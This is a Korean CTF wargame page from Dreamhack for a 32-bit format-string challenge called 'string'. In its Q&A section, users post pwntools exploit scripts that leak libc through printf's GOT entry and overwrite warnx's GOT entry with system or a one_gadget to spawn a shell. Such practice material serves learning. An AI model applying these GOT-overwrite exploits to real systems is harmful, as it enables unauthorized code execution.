LEVEL 4

string

pwnable
  • 문제 정보
  • 풀이 52
  • 난이도 투표 27
  • 질문 5
  • 최근 풀이자 234
  • 댓글 35

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(string)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Format String Bug

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
호빵맨
워게임: 50
출제된 지 3시간 만에 풀이 완료!

난이도 투표 27

질문 5

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
fmtstr과 onegadget를 이용한 풀이 질문
from pwn import * context.log_level = 'debug' def send_payload(payload): print r.sendline(payload) r = remote("host1.dreamhack.games", 8377) libc = ELF('./libc.so.6') e = ELF('./string') printf_got = e.got['printf'] warnx_got = e.got['warnx'] printf_offset = libc.symbols['printf'] one_gadget = 0x3a80c payload = "" payload += p32(printf_got) payload += '%x%x%x%x.%s' print r.recvuntil("> ") r.sendline("1") print r.recvuntil("Input: ") r.sendline(payload) print r.recvuntil("> ") r.sendline("2") print r.recvuntil(".") printf_libc = u32(r.recv(4)) print hex(printf_libc) libc_base = printf_libc - printf_offset one_gadget_libc = libc_base + one_gadget fmt = FmtStr(send_payload, offset = 5) print r.recvuntil('> ') r.sendline('1') print r.recvuntil('Input: ') fmt.write(warnx_got, one_gadget_libc) fmt.execute_writes() print hex(one_gadget_libc) print r.recvuntil('> ') r.sendline('2') print r.recvuntil('> ') r.sendline('2') r.interactive() 포멧 스트링 버그를 이용하면 되므로 처음엔 그 후 하지만 Input Print Exit [DEBUG] Sent 0x2 bytes: '2\n' [*] Switching to interactive mode [*] Got EOF while reading in interactive $ id [DEBUG] Sent 0x3 bytes: 'id\n' $ id [DEBUG] Sent 0x3 bytes: 'id\n' [*] Closed connection to host1.dreamhack.games port 8377 [*] Got EOF while sending in interactive 와 같이 셸이 실행되지 않고 종료되었습니다. warnx함수가 실행되지 않은걸로 보아 warnx의 got주소는 잘 덮어씌워진 것으로 보입니다. one_gadget의 라이브러리 주소를 구할 때 문제가 있는 건가요? User@DESKTOP-A0EPTKG:~/CTF$ one_gadget ./libc.so.6 0x3a80c execve("/bin/sh", esp+0x28, environ) constraints: esi is the GOT address of libc [esp+0x28] == NULL 0x3a80e execve("/bin/sh", esp+0x2c, environ) constraints: esi is the GOT address of libc [esp+0x2c] == NULL 0x3a812 execve("/bin/sh", esp+0x30, environ) constraints: esi is the GOT address of libc [esp+0x30] == NULL 0x3a819 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f066 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL one_gadget의 offset은 이렇게 구했고 6개의 offset 모두 다 위와 같은 결과였습니다.
avatar 마리마리
익스코드 확인 부탁드립니다.
from pwn import * #context.log_level = "debug" r = remote("host3.dreamhack.games", 24119) #r = process("/home/asdf/dreamhack/string/string") libc = ELF("/home/asdf/dreamhack/string/libc.so.6") e = ELF("/home/asdf/dreamhack/string/string") system = libc.sym['system'] printf_got = e.got['printf'] def inp(input): r.sendlineafter(b"> ", b'1') r.sendafter(b": ", input) def p(): r.sendlineafter(b"> ", b'2') #libc base payload = p32(printf_got) payload += b"%x%x%x%x%s" inp(payload) p() lb = u32(r.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00')) libc_base = lb - libc.sym['printf'] print("libc base : ", hex(libc_base)) #got overwrite system = system + libc_base system1 = hex(system)[:6] system2 = hex(system)[6:] print("system : ", hex(system)) fsb = fmtstr_payload(5, {e.got['warnx'] : (libc.sym['system'] + libc_base)}) fsb = p32(e.got['warnx']) fsb += p32(e.got['warnx'] + 2) fsb += "%{}c%5$hn".format(int(system2, 16)-4).encode() fsb += "%{}c%6$hn".format(int(system1, 16)-int(system2, 16)).encode() inp(fsb) #got overwrite inp(b"/bin/sh" + b"\x00") p() r.interactive() gdb로 확인해본 결과 got이 덮히지가 않습니다. 무슨 이유인지는 모르겠어요 혹시나 fmtstr_payload의 문제일 수도 있어서 수동으로도 해봤는데 똑같이 got이 덮히지 않네요ㅠㅠ 아주 조금의 힌트라도 부탁드립니다. 일단 저의 시나리오는 fsb로 libc base를 구하고 warnx의 got을 system함수로 덮은뒤 input함수에서 buf에 "/bin/sh" 를 넣어준뒤 print함수에서 wanrx(buf)를 할 때 최종적으로 system("/bin/sh")를 실행하려고 합니다.
Hmin

최근 풀이자 234

주다사
대표 업적 없음
avatar
dhjisgod
워게임 고인물
avatar
양갱
공부벌레
clay419
워게임 고인물
unkn0vvn
대표 업적 없음
Vojo
대표 업적 없음
Hi juno
대표 업적 없음
nerty_nerty
대표 업적 없음
buddurid
대표 업적 없음
박상우
대표 업적 없음

댓글 35

avatar
qkrthfals
공부벌레
립시 데이터베이스를 애용해주세요..
avatar
사용자
CTF Second Place
좋은 연습문제입니다~
yuhell
Open Beta Tester
재밌네요~
avatar
나는재영
대표 업적 없음
로되리안;;;
avatar
ssongk
공부벌레
정말 신기해요!
avatar
msh1307
대표 업적 없음
: )
avatar
Fnhid
강의 수강: 10
fun
avatar
Polang
워게임: 1
좋아요~
avatar
Kon
워게임: 1
Yammmy
avatar
yellowday60
강의 수강: 1
printf(buf);